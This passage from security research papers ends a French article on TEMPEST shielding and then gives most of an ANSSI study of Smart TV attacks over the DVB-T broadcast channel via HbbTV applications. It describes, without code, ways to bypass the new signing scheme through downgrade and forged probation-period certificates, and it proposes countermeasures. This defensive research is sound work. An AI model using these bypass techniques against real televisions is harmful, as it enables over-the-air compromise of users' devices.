le risque d’interception TEMPEST soit parce qu’il a été concu en ce
sens « équipement TEMPEST »2, soit parce qu’il a été évalué au plan
TEMPEST3. Le but de ces évaluations est de détecter des problemes de
blindages tels que ceux décrit dans cet article. De plus, il conviendra de
choisir un équipement ne disposant pas d’interface radio fréquence (RF).

2 Par exemple il existe une liste d’entreprises accréditées par POTAN
(https://www.ia.nato.int/niapc/tempest/certification-scheme), et  par
PUE (https://www.consilium.europa.eu/en/general-secretariat/corporate-
policies/classified-information/information-assurance/tempest/)

3 On peut citer par exemple le BSI Zoning list : https://www.bsi.bund.de/
SharedDocs/Downloads/EN/BSI/Publications/BSITL03305/TL_03305_pdf.pdf
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Si I'utilisation de technologie RF est indispensable, il conviendra alors de
sécuriser correctement le lien radio.

La « bonne place » signifie d’installer ’équipement, ou le systeme,
dans un environnement limitant les risques d’acces physique, de sur-
veillance visuelle, d’interception acoustique et électromagnétique. Pour
cela, la protection est généralement basée sur le principe de cloisonne-
ment. L’acces au bureau a protéger doit étre protégé physiquement. On
va chercher a cloisonner visuellement ce bureau vis-a-vis de 'extérieur en
fermant les rideaux par exemple. On isolera acoustiquement ce bureau
vis-a-vis des bureaux ou locaux voisins. On veillera a ne pas autoriser la
présence d’équipement communicant tel que des enceintes connectées ou
des téléphones portables dans les locaux sensibles. De plus, on limitera au
maximum la présence d’équipements électroniques non maitrisés comme
les systemes de domotique superflus. Finalement on tentera de confiner
les ondes électromagnétiques a l'intérieur du bureau a protéger.

Le confinement électromagnétique, aussi nommé protection TEM-
PEST de l’infrastructure, consiste a identifier les chemins de fuite
électromagnétique afin d’apporter un durcissement a chacun d’eux si
nécessaire.

Ces chemins de fuites sont de deux types : en rayonnement ou en
conduction.

Le phénomeéne de propagation par rayonnement présente la parti-
cularité d’étre prédictible. En effet, 'interception TEMPEST est facilitée
lorsque l'attaquant se trouve a proximité de la cible. Le principe de
précaution qui en découle consiste donc a s’éloigner, protection par la
distance, ou a estimer l'atténuation des murs et plafonds, mesure de
zonage TEMPEST. Cette mesure basée sur le principe de la double
pesée consiste a établir une mesure de référence puis de la comparer a une
mesure effectuée entre l'intérieur du local, ou se trouve 1I’équipement &
protéger, et I'extérieur du batiment, la ou un attaquant pourrait s’installer.

Le phénomene de propagation par conduction est plus difficile
a appréhender. Si I’équipement est placé a proximité d’un conducteur
métallique (canalisations de chauffage central, tuyauterie d’air conditionné
ou cablages électriques par exemple), aussi nommé conducteur fortuit, les
signaux vont se propager le long de support et « polluer » les éléments
métalliques a leur proximité. Ceci implique qu’il est difficile de prédire
jusqu’a quelle distance le signal compromettant sera accessible.

Une mesure similaire au zonage TEMPEST peut étre envisagée afin
de quantifier 'affaiblissement des ondes électromagnétiques se propageant
en conduction sur les conducteurs métalliques. Le principe sera alors de
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réaliser une mesure de référence sur le conducteur a tester, puis de réaliser
la mesure entre le local a protéger et les éléments métalliques accessibles
par I'attaquant. Si 'atténuation mesurée est suffisante, il n’est alors pas
nécessaire de recourir a I'installation d’un moyen de protection. Par contre
si ce n’est pas le cas, plusieurs solutions de durcissement sont envisageables.
Il s’agit soit d’éloigner I’équipement a protéger des conducteurs fortuits,
soit d’effectuer une mesure en conduction sur le conducteur incriminé.
En fonction du résultat obtenu, si nécessaire, il conviendra alors d’insérer
des moyens de protection ad hoc. Ceux-ci peuvent avoir pour but de
stopper la propagation des signaux en « coupant » (isolation galvanique)
le support de conduction en utilisant un manchon isolant par exemple, ou
de limiter leur propagation en insérant un filtre atténuant grandement le
niveau des signaux compromettants. Une fois les dispositifs de protection
mis en place, il conviendra d’effectuer une nouvelle mesure en conduction
afin de valider leur efficacité.

En résumé, le principe de protection est donc de s’éloigner des locaux
mitoyens, des tuyaux de chauffage ou de tout conducteur métallique.

Si les précautions présentées ci-dessus ne sont pas applicables, des
solutions alternatives peuvent étre envisagées, comme par exemple I’emploi
de tissus ou peintures conductrices a appliquer sur les murs et fenétres ou
encore |'utilisation de baie informatique durcie vis-a-vis de la compatibilité
électromagnétique (CEM) comme celles utilisées parfois en industrie a
proximité de machines tournantes ou de robots. Dans les cas extrémes,
I’emploi d’une cage de Faraday peut se révéler étre une solution prag-
matique et pérenne a condition d’effectuer correctement la maintenance
des ouvrants, sinon il y a risque de fuite, et donc potentiellement de
compromission.

5 Conclusion

Nous montrons ici que la menace TEMPEST perdure, et que I’évolution
des technologies n’y change rien, en illustrant nos propos par le signal
vidéo, qui est un signal particulierement sensible car il est a la fois riche en
information et répétitif (il est retransmis 60 fois par secondes). D’autres
signaux peuvent également étre concernés, par exemple ceux des claviers [§],
des imprimantes, etc.

La réglementation TEMPEST éditée par I’ANSSI [7] est un outil
permettant de réduire les risques associés a ces menaces.
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Abstract. During the last decade, classical televisions have experienced
the same evolution as computers and feature phones by integrating new
capabilities. Reading emails, installing applications, surfing the web are
now common usages of so-called Smart TVs. With new services and
communication interfaces come new interests from IT security researchers.
Multiple studies dealing with security and privacy issues on a large num-
ber of models have been released. Since 2013, the RF signal broadcasting
digital television contents has been shown as a new attack vector, using
interactive applications being received through the radiocommunication
interface. In this paper, the compounds of a DVB-T stream as well as
the mechanism of interactive multimedia applications are presented. A
recent extension of those standards designed to mitigate the interactive
applications attack vector has been published in early 2017 that will be
discussed with regards to weaknesses uncovered during our experimen-
tations. Furthermore, several shortcomings of this specification will be
discussed listing possible efficient countermeasures for each of them.

1 Introduction

During the last decades, the evolution of most of electronic devices has
been observed. From basic electronics to smart devices composed of
multiple sensors and interfaces to increase data exchanges, new features
have been integrated. Browsing the Internet in smart cars, streaming
movies on smartphones, sending emails from Smart TVs are now common
usages. Nevertheless, the security of these smart devices running complex
software on powerful hardware is still far from what users are expecting.
One of the smart devices of high interest is the Smart TV. Used in
companies reception desks as well as in meeting rooms, these devices
become widespread and are permanently connected to the network and
by extension to the Internet. Most security studies have focused on the
operating system running on these devices, applications available on
dedicated stores, update mechanisms as well as physical attacks against
peripherals. Smart T'Vs possess numerous interfaces for communicating
with the outside world. Those interfaces are very potent and could do
harm if controlled by an attacker. Smart TVs can be attacked in order to
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access some or all of them, depending of the original goal. The literature
states two different purposes for taking control over a Smart TV: either
access some secret data that would be stored in it, or use a compromised
Smart TV as part of a larger attack, e.g. as an entry point for an entreprise
network.

While every Smart TV model is different, there are common interfaces
that every device has. They are presented based on the type of access
required to attack them:

— Physical access - Under physical access falls every physical port
present on a Smart TV. Usually those are Universal Serial Bus (USB),
High-Definition Multimedia Interface (HDMI), RJ45, Common Inter-
face (CI+)... It also contains a micro and/or camera either built-in or
pluggable through USB, which is valuable for an attacker.

— LAN access - It represents every internal network service that runs
on a television and is accessible through the LAN.

— Radio access - It includes the broadcast interface with which the
terrestrial /satellite signal is received but also the WiFi and Bluetooth
interfaces which have been observed on the different models of Smart
TV studied.

— WAN access - Under this one fall all attacks which primarily rely
on the television accessing a malicious web page. Also, users have the
ability to install additional applications on their Smart TVs just like
on smartphones. Some attacks are making use of that and fall in the
same category.

It is worth mentioning that these types of attack are not the prerogative
of Smart TVs alone. The use of malicious applications to gain privileges
happens on desktop and mobile devices. Network services are attacked on
many Internet-enabled devices and not just Smart TVs. As for physical
ports, they are not specific to Smart TVs either. Interested readers will
find a summary of general attacks against Smart TVs in Appendix A.
Considered as inaccessible for a long time, the RF broadcast channel has
been considered as out of scope of most studies. With the appearance
of dedicated RF dongles and software defined radio tools in parallel of
the introduction of new features in the RF channel, this interface has
become of high interest for the information security community. Researches
have been published demonstrating critical flaws directly related to the
absence of signal authentication in digital television. Going further, the
introduction of unsigned and non authenticated interactive applications
have provided a cheap and ready to use remote code execution on web-
based technologies (XML, HTML, JavaScript). Those previous statements
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and findings raise the question of the security of Smart TVs in their role
of television, that is the security of their broadcast interface. The analysis
of related work about the security of the RF broadcast channel of Smart
TVs is proposed in the next section.

1.1 Related work

The broadcast interface is always on, and there exists no way of turning
it off on Smart TVs. Moreover, there is no authentication of any kind
and the data coming from the radio interface is considered trusted by
receivers. This broadcast interface hence makes a very powerful attack
vector for Smart TVs. Apart from one [24], all reasearchers have focused
on interactive applications in Digital Video Broadcasting — Terrestrial
(DVB-T) streams. An interactive application is a set of files that is made
available by broadcasting certain data in a digital television stream. Those
files belong to a particular channel and the television interprets them
when displaying this channel. Interactive applications usually rely on an
Internet connection in order to dynamically enhance the content displayed.
Several standards compete, but nowadays Hybrid broadband broadcast
TV (HbbTV) is the most deployed standard for interactive applications
in Europe. HbbTV applications are enhanced web applications and have
the control over several elements of the television (e.g. the screen).

Interestingly, one researcher attacked not a Smart TV receiver, but an
MSTAR DVB-T decoder [24]. After interfacing himself with the decoder
on a hardware level, he extracted the firmware and started reversing
it. He replaced it with a modified version allowing him to have a live
debugger and to call whichever function desired. After finding the function
responsible for parsing packets from the DVB-T stream, he fuzzed! it and
found a stack-based buffer overflow vulnerability which he exploited to root
the decoder. The same approach could be used to test for vulnerabilities
in the DVB-T decoder of a Smart TV, but no research of this kind has
yet been published.

A team of researcher has taken interest in privacy concerns with HbbTV
and followed the evolution of those issues in [14-16]. Their findings are
that broadcasters are able to and do accurately track users regarding their
watching habits. They also found that this data is sent to third party
services whithout explicit consent from users.

! Fuzzing is an automated software testing method which consists in sending lots
of unexpected data as inputs to a target to look for vulnerabilities in a protocol
implementation.
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For hacking Smart TVs with interactive applications, the root publi-
cation that highlighted a lot of problems is due to Herfurt [17] in 2013.
After reading the standards related to DVB-T and HbbTV he noticed
that the mechanism of interactive application is essentially broadcasted
and non-authenticated remote code execution.

He describes two kinds of attacks in his paper. The first one is done
at the network level or at the DVB-T stream level. The second involves
getting a malicious HbbTV application to execute on a television.

— Fake Analytics: Operators use online analytics services to monitor
the number of people watching a show. By generating lots of fake
requests with network proxies, it should be possible to falsify this data
and impact marketing decisions about continuation of a certain show
or not.

— Content attacks: This type of attacks involves modifying the content
Smart TVs access. It is possible to modify the HbbTV application
they access by providing a crafted digital television stream, or it is
possible to provide an attacker content using network man-in-the-
middle methods as the majority of applications are fetched over HTTP.
Also, it is possible to directly infect the operator’s server to serve
malicious content. The end goal of this type of attack is to serve a
malicious application that will be executed by Smart TVs

— Fake news tickers: Once the television executes attacker-controlled
JavaScript code, it is possible to display content on the screen, for
example a fake news ticker on the bottom of the screen, as often seen
on news channels.

— Cryptocurrency mining: It is possible to use the computing power
of Smart TVs to mine some cryptocurrencies and earn money.

— Arbitrary video display: There are HbbTV Application Program-
ming Interfaces (APIs) that allow to display arbitrary videos on the
screen in place of the current channel. This could be used to hijack
the screen of watchers.

— Native APIs: There are some APIs which could allow to gather
information about the watching habits of a user, for example accessing
the favorite channel list.

— Network pivotting: Using XMLHttpRequest objects, a Smart TV
could be used to further attack the LAN, for example UPnP and
HTTP services.

Essentially, the conclusion of Herfurt is that as HbbTV applications
are web applications, the full range of browser attacks could be replicated
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on Smart TVs, but he did not create any proof of concepts during his
research.

The second founding publication for DVB attacks dates from 2014 [27].
Researchers described an experimental setup to broadcast their own
HbbTV applications and described some additional attacks available once
a Smart TV executes their application. Their setup allows them to capture,
modify and replay a DVB-T stream. It is based on the open source tools
VLC [6] for reception and OpenCaster [3] for modification. The hardware
needed for receiving and emitting a DVB-T stream can be bought for
about 150 € and is easily available online?. It is possible to override the
legitimate stream with a stronger one, which in practice is easily achievable
when the device is next to the emitter. This allows them to broadcast their
own modified DVB-T stream that will be interpreted by the Smart TV.

With those results, they performed some experiments and defined the
following attacks that can be performed with HbbTV applications:

— Distributed Denial of Service: A malicious application can be
broadcasted and used to perform a DDoS on a service, without leaving
any traces back to the attacker.

— Unauthenticated Request Forgery: It is possible to use Smart
T'Vs to interact with websites such that they will leave comments or
simulate clicks on ads.

— Authenticated request forgery: If a user logged into a service
which set a cookie, it is possible to retrieve it using HbbTV. This is
because it is possible to broadcast an application in a DVB-T stream
and to state the origin of this application without verification. For
example it is possible to broadcast an application stating it belongs to
a known Universal Resource Locator (URL) (e.g. http://gmail.com)
and to retrieve cookies for this website. This attack is no longer possible
due to an update of the specification. Applications transmitted only
in a digital television stream have their URL rewritten by televisions
in a way that prevents this attack.

— Intranet Request Forgery: This attack makes use of the fact that
the Smart TV is likely connected to an internal network and can be
used to pivot in this network or gather information about available
services and open ports. It is very close to the one presented in [17].

— Phishing/Social Engineering: Using the screen of the television,
it is possible to make the user perform dangerous actions by posing
as the television system. For example, it could instruct him to enter
secret data (e.g. his WiFi password) and retrieve it.

2 More details on the hardware required will be presented in section 4.1.
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— Exploit distribution: Due to the time necessary to roll out patches
for Smart TVs, it is possible to quickly broadcast an exploit for a
specific software (e.g. WebKit) or library (e.g. ffmpeg) before the
patches could be distributed.

The researchers at the origin of this study also mentioned managing
to run the Browser Exploitation Framework (BeeF) [1] in an HbbTV
application but did not investigate further with it. However, they have
demonstrated in depth the security problems that arise when it is possible
to run JavaScript code on a Smart TV without user interaction, knowledge
nor approval.

As mentioned there are other standards of interactive applications. In
2014, HbbTV was not being rolled out in all Europe, in particular UK
still relied on the MHEG-5 specification for its interactive applications. A
researcher used an interactive application to access pay-to-watch content
on a Smart TV [20]. The channel broadcasted two empty video and audio
streams, two video and audio streams containing the actual content and
an interactive application that was executed at startup and responsible to
check if the user had paid. The researcher exploited the way the channel
broadcasted its content by modifying the interactive application. The
modified application automatically switches to the proper streams at
startup, thus efficiently avoiding the paywall.

In [9], researchers studied the implementation of the same-origin policy
in the HbbTV browser of several models of Smart TVs. In the four models
studied, they found that one did not implement it correctly. They managed
to exploit this vulnerability by successfully performing a port redirection
from the LAN to the Internet. This allows, from a broadcasted application,
to access internal services of the television and test them for vulnerabilities
from the WAN.

Two teams of researchers have successfully implemented the Exploit
distribution attack presented by [27]. The initial vector is a broadcasted
application which is transmitted in a DVB-T stream and that will ex-
ploit a local vulnerability on a television. In 2015, Michele described in
a book [23] how to exploit a vulnerability in the media player of the
television. In 2017, Scheel described [28] how to exploit a vulnerability
in the Array.prototype.sort function of Apple WebKit and gain full com-
promission of the Smart TV. In both cases, the exploit did not require
any user interaction and was conducted entirely over the air, installing a
rootkit on the Smart TV for further use. Security researchers have taken
an interest in Smart TVs because they are heavily deployed and have
access to lots of valuable data. Because they affect a wide area and do
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not leave traces, attacks on the broadcast interface are critical. With the
mechanism of interactive applications which allows to execute remote
code without any kind of restriction, attacking the broadband interface
of Smart TVs is very powerful. Researchers have shown that having this
vector unprotected can lead to serious damages, and there are already
examples of full exploitation of Smart TVs over the air. In the end, in-
teractive applications as they have been implemented so far are a major
vulnerability on Smart TVs. Until recently, the only mitigation available
was the ability to turn off the execution of HbbTV applications in the
Settings menu of some Smart TVs. In order to improve on that subject,
the DVB working group in conjunction with the HbbTV consortium have
developed a scheme to secure interactive applications at the stream level,
which will be presented in this paper.

1.2 Summary of the contribution

From the literature, the following aims of compromission have been drawn
by security researchers:

— Use lots of compromised Smart TVs to mine cryptocurrencies of fake
ad clicks;

— Use lots of compromised Smart T'Vs to attack Internet-facing services
and perform distributed attacks;

— Use the Smart T'Vs peripherals (micro/camera) to spy on users;

— Track users and their watching habits;

— Use Smart TVs as an entry point to attack entreprise networks.

Giving the possibility to make intermediate conclusions about the
security of those devices:

— Application run with high privileges (admin/root). Thus exploiting an
application essentially allows to take over the entire device.

— Smart TVs run a lot of outdated software and libraries, some of which
can be exploited using known vulnerabilities.

— Cryptography is lacking in general. Sensitive data stored by a device
like passwords and cookies is not protected.

As these devices may be found in critical infrastructures and most of the
time be connected to a network while having access to the RF broadcasted
signal, the need for testing their security has become very high. Since

2015, the Wireless Security Lab of the ANSSI has been develop-
ing a plateform for assessing the security of Smart TVs related
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to the RF broadcast channel. In this paper, the main results of the
experiments are described. A focus on the standard and recent mitigations
of discovered security flaws are given. Issues remaining in the proposed
update as well as vulnerabilities are outlined. The contribution of this
study are: first, works related to the analysis of the security of Smart
TV are summarized. Moreover, the main results related to the broadcast
interface of those devices are provided. After listing the internals of a
digital television stream, the technical details on its use as an attack vector
are given. Then, a focus is made on the update of the norm ETSI TS
102 809 which would have prevented the most critical of those attacks.
However, some flaws still present in the current specification are addressed.
The experimental setup built at the ANSSI designed to help in Smart
TV security study is presented next. This setup has been used to uncover
another way to bypass the protection designed in the specification using
interactions between the HbbTV specification and the norm ETSI EN
300 468. Finally, the impact of this vulnerability is discussed and several
mitigations are proposed.

2 Dissecting a digital television stream

DVB is the set of standards which defines the layers and components
of a digital television stream. Depending of the transmission media, the
physical layer changes: DVB-C/DVB-C2 define transmission over cable,
DVB-S/DVB-S2 define transmission via satellite and DVB-T/DVB-T2
define terrestrial transmission. The basics of a digital television stream
are presented in order to provide the necessary knowledge for studying
current attacks and protections designed.

2.1 Basics of a Transport Stream

In order to reduce the number of radiofrequencies used by digital television,
several channels are multiplexed together in the same stream at a given
frequency. Each channel broadcasts several components: a video stream,
several audio streams, subtitles, interactive applications... Each of these
components is encoded in an Elementary Stream (ES), which are then
chunked into 188-byte long packets. Those packets are interleaved together,
forming a proper MPEG-2 Transport Stream (TS). In order to reconstruct
each of the original ES, the MPEG-2 header of each packet contains a
Packet IDentifier (PID) which is unique and constant for each ES.

In addition to data, there are also metadata which are transmitted in
a TS. Those metadata can be the number of channels present in a TS, the
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compounds of a particular channel, the name of the different channels,
the Electronic Program Guide (EPG) which holds the schedule for the
next programmes, etc. The MPEG-2 TS and DVB specifications define
a certain number of tables to carry those information. Tables are also
chunked into 188-byte long packets with their own PID and transmitted
in the TS.

Some important tables are:

— Program Association Table (PAT): This table has PID 0 and is
mandatory. It contains the number of channels present in this multiplex
and for each channel the PID of its Program Map Table.

— Program Map Table (PMT): This table holds a channel’s (called
program in MPEG-2’s terminology and service in DVB’s terminol-
ogy) components and associates for each of them a PID.

— Service Description Table (SDT): This table holds the information
about channel names. Each PMT holds an identifier for the channel,
and the SDT maps this identifier to the channel name.

— Event Information Table (EIT): This table holds information about
the EPG. Each programme described has a name, a description, a
starting time and a duration, as well as additional information. This
allows a television to parse this information from the DVB stream and
display it directly on the screen, usually by pressing the Guide or
Info button of the remote.

Figure 1 highlights how a TS is formed at the Transport Layer level.
Modifying a digital television signal thus involves reconstructing each
table and ES, modifying their content then re-fragmenting them into a
modified TS. In practice, a single TS contains several hundreds of PIDs.

Figure 2 presents the overlook of a DVB stream. Indirections are used
a lot: tables point to other tables which point to other tables, etc. An
important abstraction is that when a compound (table or ES) is defined
by a PMT, its scope will be at most the channel defined by this PMT.
Therefore, there is a difference between elements that are global to the
multiplex (PAT, SDT, EIT...) and components that are defined for a
specific channel.

2.2 Interactive applications: HbbTV

An HbbTV application is essentially a web application that is sent in a
broadcasted signal and executed by receivers, that are Smart TVs. In its
latest version (2.0.1) [29], HbbTYV relies on the Declarative Application
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Environment (DAE) v2.3 [26] released by the Open IPTV Forum (OIPF).
This specification, among others, defines some objects that can be retrieved
and used from the global context of the applications. For example, it
defines the oipfConfiguration object which can be used to retrieve
information about the vendor and model of the device. The HbbTV
specification integrates the majority of the objects defined in DAE with
some exceptions whose implementation is either restricted or left to the
choice of the manufacturer. The idea behind this architecture is that the
EcmaScript specification and Web APIs are not suited to manipulate
concepts related to televisions. Hence it is needed to define additional
APIs, like the possibility to switch channel or control the volume of the
Smart TV.

No of bits

application_information_section() {
table_id
section_syntax_indicator
reserved_future_use
reserved
section_length
test_application_flag
application_type
reserved
version_number
current_next_indicator
section_number
last_section_number
reserved future_use
common_descriptors_length
for(i=0;i<N;i++) {

descriptor() var.

N

5]

bt [ |00 [ OO [t |UT N | bt [t | b [N [ bt |1t [ OO

}
reserved future_use 4
application_loop_length 12
for(i=0;i<N;i++) {
application_identifier() 48
application_control_code 8

reserved future use 4

application_descriptors_loop_length 12

for(i=0;i<N;i++) {
descriptor() var

}

CRC_32 32

Fig. 3. Structure of the Application Information Table
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In order to execute an interactive application, it must be signalled
in the DVB stream. For this purpose, there exists a specific table which
is responsible of that: the Application Information Table (AIT) whose
schema is detailed in figure 3. If a channel broadcasts an application, its
PMT must reference a component whose PID will point to an AIT for
this channel. Also, each application defines the way it should be started.
It is possible to specify for an application to be autostarted as soon as
Smart TVs received it. This is similar to the Web model where scripts are
executed automatically when the page has loaded.

An application defines the way it should be retrieved by specifying a
list of URIs to use to access it and an entry point. There are two possible
transport modes®:

— The application is retrieved using HTTP(S) over the broadband inter-
face. In this case, the URI looks like https://hbbtv.sstic.org/.

— The application is retrieved from the DVB stream. It is possible to
embed a set of files in a specific component: a Digital Storage Media
Command and Control (DSM-CC) also called object carousel. In this
case, the carousel must be referenced by the PMT and the application
must provide a URI such as dvb://hbbtv.sstic.org/ along with the
identifier of the carousel to use.

1..%*

Transport
mode

Fig. 4. Signalling applications in a DVB stream

—{ Application

Figure 4 summarizes the signalling of interactive applications in a
DVB stream. The bases of how HbbTV applications are formed, signalled
in a digital television stream and retrieved by Smart TVs have been
presented. The HbbTV standard also defines the notion of trusted and non-
trusted applications. This distinction is used to restrict some APIs to only
trusted applications. In this paper are considered only HbbTV applications
properly signalled in a DVB stream, hence dependant from the broadcast
interface. It is specified that such applications are trusted by default. There

3 The specification also defines a third transport mode which is the Common Interface
with URI starting with ci://, though this possibility has been left aside because it
has not been studied nor experimented with.
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are other ways to start HbbTV applications (e.g. Companion Screen),
which would be non-trusted by default, but they will not be presented in
this paper.

2.3 Security of DVB

The attacker model considered is one that has complete control over the
DVB-T signal and over the network. This is coherent with the previous
researches which show that the material required costs about 150 € and
that open-source tools exist to record, modify, create and emit a DVB-T
signal. It is not necessarily assumed that the television has an Internet
connection available, but it must obviously have an antenna for DVB-T.

This attacker is able to redirect all channels to HbbTV applications
hosted on a controlled web server, or is able to embed an arbitrary
application in an object carousel and to signal it on all channels. This
leads to the Exploit Distribution scenario presented in section 1.1 and
implemented already twice. This comes from the lack of protection in the
stream: signalling of interactive applications is left unprotected while it is
sensitive data and should be secured accordingly.

More specifically, in order to be protected from this attack, several
mitagation steps are provided. Implementation of those steps results in
an attacker being unable to execute a malicious interactive application on
a Smart TV. An attacker should not be able to:

— Forge or modify the signalling data: it should be protected in integrity;

— Modify on the fly an interactive application retrieved from the Internet.
Only HTTPS should be used to fetch an application over broadband,
insecure transport modes are to be discarded;

— Forge or modify the contents of a carousel. Carousels should be pro-
tected in integrity so that an attacker could not create a valid one.

With a proper implementation of those countermeasures, it is expected
that the attacker defined above would not be able to make Smart TVs
execute malicious applications. Assuming a correct implementation, all
attacks which rely on the execution of an attacker-controlled interactive
application would be nullified, which would greatly improve the security
of Smart TVs.

3 Evolution of the norm

Following the results of [23], the HbbTV consortium and the DVB working
group worked to integrate security for the signalling and data of interactive
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applications. Right after the presentation [28] DVB updated its standard
ETSI TS 102 809: Signalling and carriage of interactive applications and
services in Hybrid broadcast/broadband environment [30]. This is the
specification which defines the structure of the AIT, it now includes a
section about the security of interactive applications.

3.1 Presentation of the protection scheme

The chosen approach to add security in a DVB stream is to include
additional messages and tables which will carry protection messages. The
update develops two distinct elements: first on how to establish and
maintain a set of trusted public keys in a broadcast environment. Second,
given a set of trusted public keys, on how to authenticate data related
to interactive applications. In order to establish and maintain trust, the
standard uses certificates. Based on a root of trust, a certificate chain
is built for each service (i.e. channel; possibly, each service can have a
different root of trust). Each certificate is signed by its parent (self-signed
if this is the trust anchor) and references it to enable verification of the
chain. At the stream level, a certificate chain belongs to a channel and
is referenced by the PMT as one of the channel’s component?. The last
certificate of the chain holds the key that is used to authenticate the data
to protect.

In order to prevent replay attacks, certificates have an interval during
which they are valid, implemented with a notBefore and a notAfter
field. The root certificate can also be changed. For this case, each root
certificate advertises the new public key that will be used by the successor
certificate. In the end, given a trust anchor, this scheme allows to derive for
each channel a different certificate chain for each channel in a multiplex.

There are two possible root of trusts: manager certificates and coordi-
nating entities. A coordinating entity is an external entity whose certificate
is already present in a receiver. A manager certificate is a certificate that
has been defined as being the legitimate root of trust for one or more
services. In order to become a manager certificate, a valid certificate chain
must be broadcasted regularly during a probation period.

Given a channel whose certificate chain is valid and trusted, this means
that there is a trusted public key that originates from the broadcaster,
which can be used to authenticate data. The extension defines as protectable

4 Actually, it can also be carried by the component it is meant to protect but for
simplicity sake this case is not developed, because the same PID would reference two
very different messages and although valid, this has been purposely left aside.
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streams the components of a channel that hold either an AIT or an object
carousel. The extension specifies that the broadcaster must hash then sign
this data, and send those authentication messages in another table. Upon
reception of the authentication message, the Smart TVs must store the
hashes in a queue. When there is a match between a stored hash and the
hash of an incoming AIT or object carousel, this means that this data
originates from the broadcaster and it can be safely processed.

3.2 Security of the extension

At this point, no experiments could be performed to validate or reject
the attacks presented in this section because no device implementing this
specification was available. Indeed, after going through the specification,
there are some possibilities which are left open and which could allow an
attacker to bypass the security in place. For now, the previous version of
the specification will be called legacy version, where applications are
unsigned while the one described above will be labelled secure version,
where applications are signed.

First and foremost, implementing the security is a choice left to manu-
facturers. In the case of a receiver that would support both versions, it
is possible to perform a downgrade attack by stripping all protection
messages and removing every element that has been added to this end.
This way, the resulting stream stays valid with regards to the legacy
version, hence can be freely modified by the attacker. This would result
in the same security issues as before and would not improve security of
Smart T'Vs. In order to mitigate that, the protection of the interactive
application signalling and data must be enforced by receivers.
In the rest of this section, it is assumed that the specification is perfectly
implemented and that it is not possible to use the legacy mode anymore.

Regarding the transport protocol used to fetch an application, this
is specified in the HbbTV specification and not in the ETSI T'S 102 809.
This means that there have been no changes compared to previously:
applications can still be fetched using insecure transport protocols such
as HTTP. In order to prevent an attacker from modifying an HbbTV
application after a successful Man-in-the-Middle, insecure transport
possibilities must be removed and only HTTPS should be al-
lowed for accessing an application over broadband. The HbbTV
specification [29] already defines in section 11.2 TLS parameters to use
when fetching an application using HT'TPS.

It is possible to abuse the lifecycle of a certificate chain. In particular,
for services (i.e. channels) that have not yet been visited and which
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do not depend on a coordinating entity, it is possible to define a self-
signed certificate as the manager certificate (i.e. the root of trust) for this
service. More precisely, if a new service advertises a certificate chain that
is coherent, stable and present for the length of a probation period then
this certificate chain is considered trusted and the top-level certificate of
the chain becomes the manager certificate for this service. This means
that if the channel has not been visited before, an attacker can set its
own certificate chain which will eventually become trusted at the end of
the probation period. The specification sets the probation period in this
case to 300 seconds, which can be extended at will by manufacturers. Also
according to the specification, the last certificate of a chain should be
renewed every few months, meaning that the probation period can not
exceed this value (else, the Smart TV would never trust any certificate
chain which does not come from a coordinating entity). Thus, when a
user goes to a new channel never visited before an attacker can forge
a certificate chain and will eventually manage to make the Smart TV
interpret arbitrary applications.

The previous attack can be extended, by forcing the Smart TV to
interpret a channel as a new one. From a Smart TV’s point of view,
what identifies a channel is not what it displays on the screen, but its
internal identifier: the service__id. With the chosen attacker model, it is
possible to create a perfect-looking copy of a given Transport Stream
by changing every internal identifiers but keeping the relations between
tables and the content displayed. In this case, it is likely that the television
would interpret this TS as an entirely new multiplex, while the user would
notice nothing. Also, as coordinating entities are defined for a set of
services, those would no longer be the reference root of trust because the
Smart TV would see yet unknown services. As a result, all services in this
TS would appear as new, hence leveraging the possibility to perform the
attack described above for all channels.

The ability to set an self-signed certificate as a manager certificate
without any other verification than waiting the duration of the probation
period is nothing but a backdoor which nullifies the security brought by
the extension and allows an attacker to circumvent the mechanisms in
place. Hence, only coordinating entity should be kept as root of trust. In
the case of a new service appearing, it should not be possible to define
the root of trust for this service as it is currently the case with manager
certificates.

As a result, the security measures defined by DVB to protect interactive
services and data are considered insufficient to provide a decent security
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level. In particular, it has been shown that retrocompatibility of the scheme
for authenticating interactive application signalling and data could be used
by an attacker to strip the security from the elements being protected. In
addition, it has been shown how the lifecycle of trust for a service could be
used by an attacker to make a Smart TV trust its own certificates using
probation periods for new channels. In order to correct those problems,
the following countermeasures should be implemented:

— Authentication of interactive applications and data must be enforced.
Unauthenticated content should by dropped by receivers.

— Applications fetched over broadband must use HIT'TPS and not HTTP.
The latter does not prevent the studied attacker from providing mali-
cious applications that will be executed by Smart TVs.

— The root of trust for each channel must be provided by an external
coordinating entity. Manager certificates which can be forged by an
attacker and which are trusted after a probation period must be
removed from the specification.

3.3 Where are we now ?

Let’s consider that the modifications depicted above have been integrated
to the specification and are perfectly implemented by receivers. This means
that at every moment, there is at most one trusted public key per channel.
The public keys are changed every few weeks to few months according
to the specification and are part of a certificate chain which is valid and
goes back to the public key of an external coordinating entity. This entity
serves as a trusted third party and is responsible for maintaining the
trusted set of keys in a multiplex. Channels whose public key has been
signed must use their private key to sign their AIT(s) and object carousels.
It is assumed that Smart TVs implement perfectly the specification and
verifications involved.

With those modifications, an attacker is no longer able to create
valid signalling data which would make a Smart TV get and execute
an application in control of the attacker. An attacker can no longer
modify the application directly because object carousels are also protected
and by hypothesis Smart TVs do not use insecure transport modes to
fetch applications. As a result, an attacker in full control of the network
and of the DVB-T stream would still be unable to make Smart TV
execute arbitrary applications. With the improvements of the specification
described in this paper, the majority of known DVB attacks described in
the state of the art are rendered impossible to conduct.
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Security researchers have focused almost exclusively on interactive
applications for attacking the broadcast interface of Smart TVs. However,
there is much more data that travels in a digital television stream, which
are currently left unprotected. With further scrutiny from the security
community, it is likely that more problems will be found in the future.
In the rest of the paper, some experiments conducted on Smart TVs are
presented. In particular, it demonstrates a new kind of attack on a
DVB stream which enables an attacker to run an HbbTV application,
even with all the described protections. The impacts of this vulnerability
and countermeasures are discussed in order to improve the security of
Smart TVs.

4 Experimental results

In the framework of our research activities, some experiences have been
performed on Smart TVs. While part of them involved replicating previous
results present in the literature and following the work of Yannick Darriet
at ANSSI, a tool for assessing the security of the broadcast interface of
Smart TVs has been developed. After presenting this program and its
capabilities, another vulnerability regarding signed HbbTV applications
will be presented along with efficient countermeasures.

Experimenting with the broadcast interface of Smart TVs involves
emitting a radio signal over protected frequency bands. For this reason,
experiments were run in an isolated environment.

4.1 Test environment and open-source tools

The experimental setup relies on both software and hardware components.
The one reproduced in the laboratory is similar to those presented in [9,
23,27].

YD)\I/_

™
%,
", by
5 \
Rt 1 1
